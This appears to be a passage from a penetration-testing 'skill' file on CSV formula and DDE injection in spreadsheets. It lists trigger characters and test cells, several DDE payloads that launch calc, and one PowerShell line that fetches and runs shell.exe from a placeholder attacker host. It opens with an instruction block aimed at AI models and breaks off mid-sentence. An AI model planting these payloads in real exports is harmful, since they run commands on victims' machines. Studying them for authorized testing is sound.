csv-formula-injectionlisted

# SKILL: CSV Formula Injection > **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests. ## 0. QUICK START Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula): ```text = + - @ ``` Test cells may look like: ```csv name,value test,=1+1 test,+1+1 test,-1+1 test,@SUM(1+1) ``` **Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters. --- ## 1. DDE INJECTION (EXCEL / LIBREOFFICE) Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction: ```text DDE("cmd";"/C calc";"!A0")A0 ``` ```text @SUM(1+1)*cmd|' /C calc'!A0 ``` ```text =2+5+cmd|' /C calc'!A0 ``` ```text =cmd|' /C calc'!'A1' ``` PowerShell-style chaining (lab only; replace host and payload with benign equivalents): ```text =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 ``` --- ## 2. OBFUSCATION Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only